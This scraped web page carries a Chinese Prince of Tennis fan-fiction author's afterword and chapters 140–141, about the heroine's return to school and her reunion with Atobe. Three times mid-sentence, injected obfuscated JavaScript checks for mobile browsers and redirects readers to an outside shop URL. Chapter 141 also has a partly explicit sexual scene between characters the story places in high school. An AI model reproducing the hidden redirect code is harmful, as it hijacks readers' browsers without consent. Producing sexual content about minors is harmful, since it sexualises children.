三个月之前,我其实自认为自己是个云粉丝。甚至最初认识网球王子,是来自于网王的同人文,是的就是那个十多年前遍地网王同人文的年代,那个时候不知为何只看得进去原女文从不看BL。 在那之后是极其漫长的空置期,期间也只不过是断断续续回去反复看几本我觉得好看的网王同人,从没看过新出的网王同人,也没有看新网王的剧情。 好接下来是推文时刻:《青春台纪事》,《传说中被幸村君抛弃的女人》,《网王同人·心跳》,《破晓》,这四本即使时隔多年我也觉得是写得非常好的BG。 而三个月前的某天,似乎是在小红薯上无意刷到了一篇网王相关的笔记。突然,爱意就死灰复燃了,且有欲燃愈烈的趋势,于是我决定,产出点什么来寄托我无处安放的蓬勃情绪,最后就成了三管齐下——买谷、拍谷、写文。 从那天起,开始为写文做准备。 二、写文的准备工作 首先,把连载到目前为止的所有新网王动画漫画看完,并且把网王178+全国大赛再次仔细看一遍,还有图片剧,以及王子们对重要比赛的reaction那些,总之原著所出的所有动画视频。这当然是最基础的,很多重要比赛说是看了几十几百遍也不为过。 接下来是文献准备,紧锣密鼓地买了很多书,因为在三个月前,我对网球的了解为0,对每个王子的了解也几乎来自于同人文和脑内残余的动画片段,所以几乎可以说是,从零开始。 回过头来看我自己都觉得惊讶,居然只花了三个月时间就做到了这么多事。 参考到的原著公式书有:新网王公式书10.5和23.5,立海大strength,冰帝strength,20周年纪念公式书。 参考到的网球相关书目有:《网球运动解剖学》,《网球心理训练》,《网球运动系统训练》,《西班牙网球成功的秘诀》,《拉法·纳达尔自传》,《弦理论》,杂志《网球天地》,《独自上场》。 为了刻画人物去读的书目有:《拥有一颗素直之心》-仁王雅治,《浮士德》-梅达诺雷,《夜间飞行》-幸村精市,莎士比亚的戏剧集-迹部景吾,《般若心经》-平等院凤凰,《与谢野晶子短歌》-忍足侑士。 (基本上人气尚可的角色里,根据公式书看过的书有具体写出来的就这几本了,其他很多角色都比较笼统,比如天体的书,少年漫画之类的) 其他不是书但和本文有关的: 1.纪录片《天才之击》-纳达尔和费德勒的那场08年的温网之战,我认为许斐刚写冢幸战有参考这场比赛。 2.以及其他N场经典的网球比赛,了解并认识了很多新老网球选手,也对网球这项运动有了更深的感悟,并且认识到了许斐刚写的许多剧情有多不符合网球这项优雅绅士的运动的规则=。= 好在,文里的小七海还算遵守网球规则,即使要冲选手喊话也会先要求暂停,桃城和海堂在看台上吵架她会严厉制止。她是认真的热爱着网球的人,所以为了刻画她我也必须得去了解。 三、女主的人设确定 必须得承认的是,或许每个写手写的第一篇文中的主角或多或少都有个人情绪的投射。 而我当时写的时候其实想的是——写一篇读者能够带入进去的文。 所以我选择了写一个穿越女主文,她和许多喜欢网王的女生一样,家庭平凡有苦有乐,了解王子的故事,又有自己的偏好与执念,我想试着写写看这样的女主进入到这个世界会怎么做,即使我知道很多人不喜欢穿越文。 关于她比男主强的人设,或多或少还是因为,受现代女权运动的影响,我想这并不是什么敏感到不能说的内容。我不想写什么都弱于男主一筹的人,也不想写空有美貌的人,我想写我心中坚韧不拔、胸怀大义的女主,即使她在文里也会有很颓丧的时候,唉,她只是太累了。 至于小七海为什么这么努力这么累,是我的错(最后还是决定躺平任嘲哈哈) 一方面是,我自己本人就是个做什么事都很认真想尽力做到最好,决定了就不管不顾去做的人,一方面是这样的人正好还很符合三部长的喜好,所以小七海的性格写着写着不自觉就偏向这个方向了。 四、写文的心路历程 大约可以分成三次变化。 第一段:关东大赛-全国大赛。 那时候刚开始写,莽着上,所以其实是出了一些小错的,比如对不同王子的称呼,后来有回去修文,不过大概也有遗漏。 比如很多人喊桃城是喊Momo,但是吧,我不太喜欢阿桃学长这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376251|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个翻译,单独写Momo学长又觉得怪,桃城学长又和原著不符,后期就经常在这种细枝末节上纠结。 第二段:U17合宿-海外踢馆。 写到U17合宿的时候,其实已经开始疲惫了。尤其写到手冢离开的那部分,之前的疲惫累积,回去看动画看得我脑壳嗡嗡,一口气虐三个人。所以U17的时候已经不怎么轻松了,我本来就不太擅长写轻松的东西,心累也会影响到笔下的人物。 反而是海外踢馆之旅写得很顺利,那时候我就明白了,写买股文是我做出的错误决定,纯纯搬起石头砸自己的脚。我其实更擅长写1V1,只是离弦之箭无法回头啊。 第三段:U17世界杯-支线 世界杯的剧情已经被我魔改得七七八八了,与此同时我的精神状态也比之前更差,所以写出来的东西大概看着就更奇怪。好在写到日德半决赛的时候又恢复了一些,所以在那之后看起来又正常了一些。 现在在写CP支线,迹部的支线快写完了,手冢的支线写了一半,幸村的也早就构思好了,压轴出场。在每个属于他们的故事里,他们都是第一,都会和小七海一起happy ending~ 五、一些反思和展望 1.再也不擅自写买股文,再也不随意写大长篇,一定要慎重起笔。 2.为了给自己定下的日更的执念,并没有把文的内容打磨细腻。还是打算继续写的,但是以后写的内容,会更得比较慢,但同时也会写得更认真,更细致。这篇文,我决定还是不大修了,让它保持原本不完美的模样吧。 3.因为这篇文是为了写股,所以很多戏份少的角色的刻画我自认为还是不够仔细,之后可能不会写这么大的主题,希望到时候能更贴合原著。比如也想写写高中生,也想写写似乎经常被忽略的一些角色,可能会写些短篇。 4.写文的时候真的不能看别人写的网王同人,剧情不一定受影响,心态会。下次写绝对心无旁骛,做饭不吃饭,吃饭不做饭。 六、致谢 感谢月刊网球汉化组,整体的时间线参考了汉化组整合的资料。 感谢大家看到这里!感谢所有默默同行的读者宝宝,给我留言评论鼓励的宝宝,还有投营养液的宝宝=3= 后面还有支线,不是彻底完结了哈哈哈,别走! 比心? 140.第 140 章 她回到了一个所有人都意想不到的地方。 “大家好,我是二阶堂七海,以后的日子就麻烦大家多多指教了。”七海将自己的名字写在黑板上,转回身,环视着讲台下的少年们,完成了她毫无新意的自我介绍。 “部,部长?!”千叶桃子揉了揉眼睛,紧盯讲台上的插班生目瞪口呆。 “二阶堂七海,就是那个日本队的教练吧......” “哇,真没想到她还会回青学来......” “不过有很长一段时间没有听说她的消息了吧。” 讲台下细如蚊鸣的议论声在攒动的脑袋之间连成一片。 是的,她回到了青学高等部。 花费三个月时间恶补高一知识后,七海通过了插班考试,总算和儿玉遥等人一起读上了高二,而木下葵和白石智子也成功升到了高一。 或许是因为女儿好不容易失而复得,二阶堂夫妻对她的无底线宠溺又往下探了几分,因而,对于她提出的要继续在青学读书的要求,他们满口答应了。 至于住所......她直言不需要再帮她物色租房了,那间公寓充满了他和她的生活气息,她已经习惯了那里。 【“部长......”儿玉遥低垂着脑袋不敢抬头,眼泪不自觉地滴落,可想到那个消息,她又止不住激动起来。 “因为,因为这是最后一次的机会了啊!”她的音调逐渐高扬,声色哽咽。 “部长明年就要回神奈川读书了不是吗?如果部长不在,我们还怎么可能再打进全国大赛......”少女抹着泪,语调从激动转为苦涩。 “所以,这是最后一次了......明明可以赢,我怎么可能会让自己输呢,部长,你不也是一样的吗?大家不也是一样的吗!!”最后一句话几乎使她失控,泪流满面的少女厉声质问着。】 她仍记得两年前那场对战四天宝寺的四分之一决赛。 仍记得她的部员们,因为得知她无法继续待在青学后,为了最后一场比赛而付出的一切。 她希望能再一次和她们站在一起,真真正正地夺得一次全国大赛优胜。 所以她回来了。 下课后。 “部长,呜呜呜,过去的一年你去哪里了,阳菜发消息给你你都不回我......”通过line群得知七海回到了青学高等部,那群她熟悉的少女们纷纷冲到了二年3组的门口。 七海一走出教室门就被吉川阳菜扑了个满怀。 “部长,你怎么会回青学了?”儿玉遥眸中含着泪。 “部长这个称呼你们怎么就是改不掉呐。”七海笑得无奈,“至于回青学......” “我想带着你们取得一次全国大赛优胜。”她一字一顿道,“就只是这么简单。” 片刻寂静后—— “部长,我这辈子怎么能遇上你呜呜呜......” “部长,嫁给我吧,我会对你好的!” “阳菜,你又变心了!” 除了木下葵和小泉姐妹还能保持冷静,其余的少女们已然陷入了癫狂状态,抱着她又哭又叫。 “现任的青学高等部女子网球部部长是谁呀?”七海早就习惯了她们的做派,将询问的目光投向神色平静站在一旁的木下葵。 “部长,你绝对想不到!”千叶桃子窃笑了两声,随即把木下葵推到了她面前—— “是葵哦!”木下葵顺从地被推到了七海面前,七海并未错过她眼中闪过的一丝羞赧。“她刚升上高一就把前任部长打败了,部长的板凳还没坐热乎呢。” “其实我可以猜到啦。”她的嘴角漾起一抹了然的笑容。事实上,一年前的那个离别之夜,她便拜托葵试着在上高等部之后帮忙带领青学,以及......他们的俱乐部。 “部长,既然你回来了,部长这个位置就该......” 七海打断了她的话,“木下部长,不需要了。我相信你能做得很好,毕竟在中等部的时候,你就已经做得很好了,不是吗?”她粲然一笑。 “好,那我就却之不恭了。”木下葵并未过多纠结。 下午放课前,将入部申请递交给班长后,七海便在少女们的带领下逛了一圈校园以及高等部的网球场,认识了一些高三的正选选手,但—— “部......七海,你今天不留下来和我们训练吗?”七海不想职位混乱,严肃要求他们只能喊她的名字,现如今,少女们正在努力适应中。 “嗯,我要去一个地方,以后大概也会隔一天来一次部活。”七海笑眯眯地点了点头。 少女们的目送下,七海背着网球包渐行渐远。 ...... 站在冰帝学园高等部门口,七海拨了个电话。“摩西摩西,岳人......不是诈骗电话啦!我在你们学校门口,来接一下我......别不信呀。”七海挂断电话满头黑线。 岳人的警惕性什么时候变这么强了? 初夏的微风吹拂着,七海站在门口眺望着校园内穿着西式制服的少男少女人来人往,倒是不无趣,只觉时间淌得太快,幸好人事依旧,除了他。 “七海?!”一道熟悉的声音传来,循声望去,她差点没认出来。 向日岳人长高了一大截不说,发型也从红色妹妹头变成了清爽的红色碎发,整体造型成熟了不少,生机勃勃的明亮紫瞳一闪一闪,一如初见。 现在大概不会再有人把他认成女生了吧。 “岳人......你长高了好多啊!”直到少年站定在她面前,她才敢确信,至少也有175cm了吧。 “七海,怎么真的是你......”向日岳人目瞪口呆,眼前的少女似乎毫无变化,随即他做出了一个她始料未及的动作——他居然把她抱起来转了一圈! 七海瞪大了眼,轻拍了一下少年的胳膊,“岳人!放我下来啦!”完了落差感好大,分明上次见面的时候他还比她矮一截呢。 “啊啊啊啊!七海真的是你啊!!迹部说你离开了,这一年半你去哪儿了?电话也不接短讯也不回,我离家出走想去你的公寓也没人......” 向日岳人放下她,叽叽喳喳地抛出一堆问题,说到最后声音跟着脑袋都垂得越来越低,整个人陷入了低气压状态。 七海揉了揉眉心,满脸无奈:“岳人,怎么都上高中了你还离家出走......” 这孩子,祸害完侑士又想来祸害她。 紧接着,面色又带上了一丝歉疚:“抱歉,这一年多不辞而别,不过我现在这不是回来了嘛。” “嗯!”向日岳人的沮丧很快扫荡一空,“七海七海,快和我去网球部!大家肯定会很惊喜! 两人边走边聊,只是,以岳人如今的身高边走边蹦,总让她幻视巨型兔子,充满了违和感。 “嗯好,我今天就是为了来网球部的,说起来现任部长......是谁呀?”七海脸上的笑意淡了几分,她已从教练组口中得知,迹部景吾在英国的伊顿公学留学,那么冰帝高等部的男子网球部部长自然不会是他。 森绿在中等部毕业后也和几个部员一起去了美国留学,现如今,冰帝她熟悉的人也就剩下这几个少年了。 “你猜?” “我猜还是日吉。” 少年大惊失色:“七海,你事先做过调查了吧!” “这不是很好猜吗。”少女斜眼。 冰帝的网球部部长虽说历来是是能者居之,可是侑士,慈郎,凤,岳人这几个人并不是适合当部长的那块料和性格,宍户和滝可能性倒还大些。桦地,他并没有在毕业后追随着迹部景吾去英国留学。 一路走到网球部门口,她很快捕捉到了那几道熟悉的灰白身影,紧接着,她注意到了一个令她大吃一惊的事实。 冰帝这群人是一起吃了什么生长激素吗?凤长太郎本就个高,现在她粗略一估怎么着也得有190了,其他人也拔高了至少六七厘米,只有桦地没怎么长高,他已经够高了! 宍户亮的帽子不见了,只剩个寸头,其余人的发型倒是没什么变化,看来看去还是岳人变化最大。 “我好像还在做梦,我看到二阶堂了......”芥川慈郎呆愣愣地盯着门口那道纤长身影,难以置信地疯狂揉眼。 仅这一句话,围站在看台席边的一众少年纷纷转过头来—— “二阶堂,二阶堂!真的是她呀!” “二阶堂前辈?!” “七海?!”忍足侑士难得露出如此诧异的表情。 一众个高腿长的帅哥快步走来,那整齐划一的阵势,不得不说赏心悦目的同时压迫感极强,冰帝小动物园似乎变成冰帝猛兽园了。 “大家,好久不见呀。”少女冲着不远处挥了挥手,笑意盈盈。 “七海。”忍足侑士推了推眼镜,向来慵懒的关西腔此刻也带上了一丝急切,“你什么时候回来的?这一年多发生了什么?” “嘛,各种各样的事吧。”她笑了笑,“具体的细节以后再说吧,我今天来是有正事要找你们商量的。” 听说有正事,少年们纷纷安静下来。 七海整肃了神色,仰头望着面前的一众少年,抛出了第一个问题。 “我想问,网球部去年的成绩如何?有打进全国大赛吗?” 现在已是五月底,六月中东京都大赛即将开赛,时间紧任务重,她打算把这群少年们魔鬼锤炼一番。 否则,是不可能打赢......王者立海大的,即使少了那个人。 她忽地晃了神,听教练组说,他终究还是去了法国职网成为了职业选手,在去年的ATP蒙彼利埃挑战赛拿到冠军,取得了参加巡回赛的资格。 现在和在德国的那个人,还有周助一样,也是倍受瞩目的新生职业选手。 这样,或许最好不过了。 并不是所有结局都会有尾声,她和他,她和他,关联就此淡化吧。 少年时的心动总是热烈,认为自己非卿不可,然而随着时过境迁,他们终会意识到那不过是沧海桑田中的一瞬。往日之事不可追,以后,他们会遇到更好的人。 宍户亮的解答拉回了她的思绪:“半决赛,我们输给了四天宝寺。稍微有点逊......” “我知道了。第二个问题,大家的零花钱有涨吗?高等部网球部的经费多吗?”七海画风突变,抛出了一个听起来莫名其妙的问题。 “妈妈给我涨了十万円!”“我倒是没有涨......” “经费,若,经费是多少啊?” 少年们议论了一会儿,忍足侑士忍不住发问: “七海,问零花钱是为了做什么?” “呐,大家。”她再次扫视了一圈面前的冰帝少年们。 “胜者是冰帝这句话,难道不想让它成真一次吗?” 此话一出,所有人都愣在了原地。 他们喊惯了这个口号,他们也确实,从未真正意义上实现过。 少年们还没来得及黯然神伤,下一秒,她的话再次掀起滔天巨浪。 “想实现的话,聘请我做你们的教练吧。只不过,我收费可不便宜哦。”七海浅笑着眨了眨眼。 “......” “诶?!——” —————————— 在震惊、欣喜、兴奋、难以置信等一堆情绪被彻底释放后,少年们总算彻底咽下了这个惊天好消息——无人怀疑她的话的可能性,只因为她是她。 只要是她说的话,最后总会成真。 一通闲聊,冰帝一众正选得知七海刚回来,在东京的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387904|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “家”还未打扫,纷纷自告奋勇要在部活结束后去她家为她接风洗尘。 于是一大帮子人顺理成章拉上七海赶往她在东京的家,甫一开门,便被惊住了。 屋内一尘不染,落地窗明净透亮,茶几上,岛台上都放着插满新鲜玫瑰的玻璃花瓶,空气中飘散着淡雅的玫瑰幽香。 很显然,这里一直有人在定期打扫。 而安排这件事的人是谁,似乎不言而喻。 七海僵立在原地,心底压抑了一年多的纷杂情绪破土而出,酸意与暖意在一瞬间甚嚣尘上。 她闭了闭眼,声音中无可避免地带上了一丝颤抖,“看来已经有人打扫过了,正好,大家可以偷个懒了。” 她声音中的颤抖并未被身后的少年们漏下。 “七海......你回来的事,和迹部说过了吗?”这本不该是个被避讳的问题,向日岳人却下意识问得小心翼翼。 “还没。这件事,麻烦大家让我自己之后和景吾说吧,好吗?尤其是,桦地?”她转过头,笑得有些勉强。 “......wushi。” “二阶堂前辈,我们不会说出去的,可是,为什么......”不让迹部前辈知道呢?凤长太郎脸上写满了担忧和不解。 冰帝的少年们都很清楚,自家部长,有多喜欢眼前的人。而她现在回来了,为了冰帝的胜利而来,却不愿意让他知道。 七海的脑中一遍遍播放的,是一年前世界杯总决赛那天他在她面前说的话。 【“以后所有的未来,我都会向你走来。”】 正是因为她太相信他的承诺,她才不愿他知道,难道要让他为了她半途而废,从英国赶回来吗? 她已经欠了他太多,她不想再成为阻碍他自由的罪魁祸首。 等冰帝取得全国大赛优胜吧,实现了这个目标,她再和他道喜,再...... “我有我的计划,大家照做就是啦。嘛,今天难得,我再叫上我在青学的部员们,大家好好聚一聚吧。” “好耶!” “七海,我想吃你做的炸鸡块!” ...... 七海端着半杯威士忌倚靠在岛台边,有一口没一口地浅淖啜着,杯中琥珀色的酒液随着她轻晃的手流转着金光。 窗外是深蓝色夜幕下璀璨的东京夜景,不知为何,分明只过了一年半,看着客厅这群喝得半醉的少年们,她却有恍如隔世之感。 或许是因为少了一个极其醒目耀眼的人,少了一些自信张扬的声音。 终究是少了些什么。 忍足侑士并未喝醉,他走到了她跟前,微蹙着眉,一副有话要说的样子。 “侑士,怎么了?”七海的脸颊染上了一丝绯红,她放下杯子随意问道。 “七海,我有话想问你。” “去我房间吧。” 卧室里并没有开灯,两人走到落地窗边,就着月色相对而立。 月色静谧,窗外的车水马龙声被屋内的时间拉长,空气的流速似乎也在这样氛围中放缓,一些说不清道不明的情绪散落着。 “七海......你喜欢上迹部了?”少年镜片后的神色染上了几分晦暗。 她没想到他会问得如此直接。 “嗯。”她侧着头望着窗外的夜景轻轻应了一声。 “果然呐。”忍足侑士的眸色再次暗了暗,“既然这样,七海,你为什么不让他知道呢。” 七海沉默了半晌,平静道:“现在不是个好时机,他还在英国留学,等他读完书再说吧。” “七海。”忍足侑士低低地叹了口气,将眼前的少女轻轻揽入怀中,慵懒低哑的语调中带上了一丝不忍。 “既然喜欢他,就让他知道吧,迹部他......也想你想得很辛苦呐。”他也是心痛的,可他的心痛,和那个人的心痛却是无法相提并论的。 月亮总是清冷温和,隐于暗处,出现得不起眼,也易于隐藏。 太阳却耀眼夺目,暴烈地活动着,一不小心就可能被灼伤,甚至也包括了自身,灼痕留在表面,留下点点斑驳。 胸前忽然传来一滴滴湿热,他松开怀抱,眼前的少女已低垂着眼睫,泪如雨下。 “侑士,对不起......” 她终究无法回应他的感情。她也曾想过,如果没有太阳,她会喜欢上这一抹清浅月光吗? 或许是会的。月色温柔如水,总是毫不吝啬地洒向大海,有了那一抹月,海才可在暗夜中也泛起波光,潮起潮落。 可如今,太阳先来了,将她晒得发热发烫,将她的一切情绪蒸腾而上,化为雨化为云,化为伦敦永远无法散去的氤氲薄雾,盘旋缭绕。 忍足侑士很快意识到了她在为什么而道歉,再次轻叹了口气,声声缱绻,字字遗憾: “七海,喜欢谁是你的自由,我希望你幸福快乐,被无保留地爱着。” 她吃了太多苦才走到今日,至于给她幸福的人是谁,倘若不是自己,就算了吧。 以后自会有人踏月而来,只不过不再是她。 只不过不再是她。 “侑士......谢谢。”七海抬起头,柔和的月光打在她的脸上,跌进她的瞳孔中,星星点点地亮着。 她如舞会那天一般,无需过多的矫饰就已美得惊心动魄。他想。 只是这样就结束了吗?他想。 此时此刻,此情此景,他本以为早已流尽的遗憾,像是被按下了倒放键,如月引退潮般丝丝缕缕地涌回,逐渐盈满心底。 “七海。”他沉默片刻,终究还是轻托起她的下巴,在她的双唇上印下一个极浅极轻的吻,缓缓松开。 “去告诉他吧,告诉他你回来了。” 这样就算结束了吧。 日出,月隐。 141.第 141 章 英国,伦敦,迹部家城堡。 雷欧眼睁睁看着本在对侧赛场边,准备上场的迹部景吾在接到一个极短的电话后站在原地君临天下了整整五分钟。 这期间怎么呼喊他他都毫无反应,彻!底!君临天下。 “景吾,发生了什么?”雷欧快要被好奇心压倒了,快步走到了他身边。 不知过了多久,眼前的紫灰发少年才回过神来,紧接着飞速给秘书打了个电话,“山下,你尽快安排......最快几点起飞几点能到日本,啊恩?” “......可以,就这样。”他又飞速挂断了电话。 “哈哈哈哈哈哈哈哈哈哈哈哈哈!”几秒钟后 ,迹部景吾站在原地放声狂笑。 雷欧满脸无语之色,大少爷你今天是抽得哪门子风,这是发生了什么天大好事? “景吾,到底发生了什么?”他忙不迭追问。 “雷欧,本大爷要请三天假......不,五天......不,一个月吧。”他其实怕他飞回日本就回不来了。 “请假?你要去哪儿?” 迹部景吾干脆道:“未来。” “呵,胜者是本大爷。”他轻抚着眼下泪痣张扬一笑,随即转身大步离去。 雷欧想他的挚友大约是得了癔症,他认真考虑起要不要和正在花园喝茶的伯母提个醒,或者喊罗密费尔来和他打一场,给他精神上点重压刺激一下。 他干脆打了个电话:“罗密费尔,你老实交代,一年前那场世界杯的比赛真的没有后遗症吗......可是景吾今天......” —————————— 日本,东京,迹部公寓。 宴席已散,众人离去。 七海坐在酒红色沙发上拿着手机一脸茫然。谁能告诉她为什么她只是打了个电话说了一句“景吾,我回来了。”迹部景吾就挂断了电话然后怎么也打不通了啊? 该不会他也以为这是诈骗电话吧......算了,明天再联系看看,今天天色已晚,总之先洗漱睡觉吧。 然而,第二日,七海也依旧未能打通他的电话,她反倒生起闷气来,就算有诈骗电话的可能也该先确认一下吧! 这样的闷气一直持续到青学部活结束,她回到公寓,一个人又开了瓶明明迹部景吾不怎么喝却放了很多在酒柜里的威士忌。 她喝得太快了,很快就进入了微醺的状态,淡淡的红晕爬上脸颊,双眸明亮异常。 敲门声就这么突然在她耳畔响起。 这么晚了,会是谁? 一个可能霎时间冲上心头,她的心就这么,突然地,狂跳起来,本来只是几分微醺的酒意似乎也跟着飙升的肾上腺素弥散开来。 七海走到门前,轻按下门把手,还不等她将门拉开,大门就被门外的人大力推开。 四目相对,一瞬间的沉默。 “景——”她只来得及说一个字,就被携着初夏的潮气和淡淡玫瑰香,风尘仆仆而来的少年用力揽住后脑勺和腰,紧接着,一个暴烈的吻于猝不及防间铺天盖地而来。 他像只失去耐心的野兽,只吮咬研磨了一会儿她的那抹柔唇便撬开了她的唇齿,在她的口中肆虐扫荡,发狠得像是要将她吞吃入腹。 “唔......”他掠夺得太快太多,七海很快便感到缺氧,视线逐渐朦胧一片,眼角泛红渗出泪水。 手脚发软,她下意识伸手,试图攀上他的腰找到支撑,温软的手覆上少年的腰的瞬间,他的肌肉猛地收紧,呼吸立时变得粗重急促。 “景吾......” 七海好不容易寻到喘息之机,费力睁开迷离的双眼,刚预备说些什么,迹部景吾却以迅疾之速反手把门关上,一个旋身,她的背在他的迫近下被迫贴上冰凉的大门。 她的双手被他的大手用力地反剪在身后,紧接着是,一个温柔缱绻却比方才更加深入的吻,一下又一下,碾过她的唇舌,似乎永远不知满足。 七海只觉得自己浑身发烫,像是刚被从蒸汽中捞出来。 身后是冰凉的门板,身前是炽热的身躯,冷热夹击刺激着她的神经,从唇舌向四肢百骸涌动的酥麻感犹如电流般窜遍全身。 大脑一次次从缓神陷入空白,意识似乎也逐渐涣散。 身体就这么失控地毫无章法地顺着门下滑即将瘫软下去,迹部景吾再次捞起眼前的人将她大力揽入怀,紧得像是要将整个人揉进骨髓与血肉中。 “二阶堂......”他的头抵在她的肩上,滚烫的鼻息一下下吹在她的脖颈上,她的耳畔是他低哑带着轻喘的声音,“我以为你再也回不来了。” “你怎么能这么狠心,就这么走了,啊恩?” 让罗密欧劝他去英国,让木下葵代替她的位置经营俱乐部,她倒是把他的未来安排得妥帖,贴心地让他又爱又恨。 她的肩头,突然触到了一滴滚烫的湿意。 本还在缓缓恢复的意识刹那间收拢到那一滴滚烫中,意识到那是什么的瞬间,七海无法抑制地浑身轻颤起来。 “景吾,对不起......”她的声音不知何时也开始发哑,酸意冲上鼻头。 “二阶堂,你知道本大爷有多想你吗。”他深深地缓缓地轻念着。 “我回来了,再也不走了。”她哽咽道。 紧紧箍住身体的双臂终于放松了几分,她抬头,湿漉漉的紫瞳望进他的眼中,七海发现迹部景吾已然恢复了那副轻傲张扬的表情。 “二阶堂,难得你也为本大爷哭一次,啊恩?” 他轻笑着,仿佛刚才那滴滚烫只是错觉,可她却越发觉得酸涩,用力眨了眨眼,试图将那股酸涩压下。 下一秒,她揽上了他的脖子,主动吻上了他的下巴,他却狠狠倒吸了口气,抬起她的胳膊,放开了她。 他的目光变得有些晦涩,“二阶堂,你不需要这样。” “什么叫不需要这样......”七海难以置信地抬头。 “回来却不打算告诉我,一个人跑去冰帝当他们的教练。” 他早就打电话给桦地问出了实情,如果不是她突然莫名改变心意,她打算让他等多久才知道?一年,两年? 做出决定的时候,她根本没考虑过他的心情。这个小骗子,过了一年看起来依然死性不改,将一切付出都瞒着他。 “如果你只是觉得要偿还欠本大爷的东西,就别像刚才那样。”话说到最后带上了几分咬牙切齿。 他不需要她真的靠主动投怀送抱来偿还。 “迹部景吾,你觉得我回来找你只是为了还债?”她紧紧盯着他,胸中的闷气也涌了上来,携着酒意,逐渐失去理智。 迹部景吾还没来得及回复,她的话就如连珠炮一口气吐出。 “不要我这样,那你刚才那样算什么?”许他主动,不许她主动? “好,既然你不要,那我去找别人。” 七海闭了闭眼,转身作势要走。 “别走,别去找别人。”他再次伸出手将她揽回自己的胸口,紧紧拥抱着的是失而复得的珍宝。 她听到从他的胸膛传来的心跳声很快,不再踌躇,她轻声开口。“景吾,我是因为喜欢你才回来找你。” 她又被他猛地从胸口拉开了。 迹部景吾的目光一转幽深:“二阶堂,你刚才说什么,对着本大爷再说一遍。” 七海坚定了眼神,仰望着他一字一顿: “迹部景吾,我喜欢你。” 时间凝滞在此刻。 良久。 “二阶堂,你再说一遍。”迹部景吾拿出手机。 “又干嘛?” “本大爷要录下来,以防你以后拒不承认。”他挑了挑眉。 七海黑线,不过她决定顺着他一次。“那你按下录音键。” “迹部景吾,我喜欢你。” 她的声音又轻又缓,身前的少年按下停止键,不再犹豫。 “啊!”七海一声惊呼,她的身体突然腾了空,被他一路打横抱干脆利落地放到了那张垂坠着酒红幔帐的松软大床上。 “就算是为了还债这么说,我也信了,二阶堂。” 他俯视着躺在床上的少女,她的黑发散乱在月白色的床单上,深紫色的瞳孔流转着莹润的光芒,每一次呼吸起伏都带动着锁骨下隐约的颤动。 空气中浮动着湿热而暧昧的气息,以及超过暧昧界线的,隐秘与迷人的旖旎,视线于此间交汇,缠绕。 “本大爷不会给你反悔的机会。”他低哑着声道,再次俯下身吻了上去。 耳垂一路滑到脖颈,他将他的痕迹点落至视线所及的每一处肌肤。 滚烫的手顺着大退一路向上,一道不那么合时宜的声音响起: “景吾,你......你有没有准备......”七海面色泛红,吐出的话音调喑哑撩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422368|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人得她自己听了都吓了一小跳。 眼前的人在暗影中表情也已不再自然,微微泛红的脸颊,粗重滚烫的喘息声,以及月光下深邃的蓝灰色瞳孔,还有眼下那颗醒目的泪痣。 迹部景吾捏住她的下巴,啄了一下她早已被吻到微肿水润的唇,轻笑了一声,“二阶堂,你想什么呢,就这么想要,啊恩?” 七海恼羞成怒:“才不是我想......”不是这个人怎么可以趁机偷袭啊! “笨蛋,你还太小了。”少年眼底的温柔与缱绻漫溢而出,她的目光陷入他的温柔中,几乎要溺死于其中。 “今天本大爷只让你高兴。”他俯下身,鼻尖扫过她的肩头,手再次毫不犹豫地探去。 右手不知何时已与他十指相扣被按在床单上,书页翻动不止。 她无助地一次次扣紧他的指缝又松开,一切都被吞没在他的热烈中,到最后带上了哭腔:“够,够了......” 翕张跳动着,早已不受她的控制。 他的声音低沉发哑,暗含着隐忍,也变得不再连贯:“呵,谁让你,那么狠心地走了。” 一走就是一年半,再无声的思念也早已沉淀为心底的一片废墟。 带电的浪潮再次席卷而来。 ...... 她不知道自己是什么时候陷入的无意识,醒来时,下方的酸软提醒着昨晚发生的事。 “糟糕,还要上课......”话一出口,七海便愣住了,她的嗓子简直哑得不像话,羞恼的热意一时间爬上了脸颊。 “迹部景吾这个大混蛋......”她咬牙切齿。 门口传来了正主的调侃:“二阶堂,你难道不高兴吗,啊恩?本大爷看你昨晚可是很享受呢。” 迹部景吾双手插兜,穿着他留在这间公寓里的黑色浴袍,也不甚整齐,领口大开着,露出精壮还挂着水珠的胸膛。 他一手揪了揪额边的碎发,一手端着杯香槟,好整以暇地望着瘫坐在床上,面色羞红,黑发凌乱地垂坠在胸前的少女。 “你,你......”七海涨红着脸你了半天,话像是被堵在了喉咙里,怎么也吐不出来。 她干脆蹭到床边,脚刚着地,就软得差点摔在地上,好在被某人眼疾手快地接住了,只是,手上的香槟却洒落了几滴在她的锁骨上,细微的冰凉。 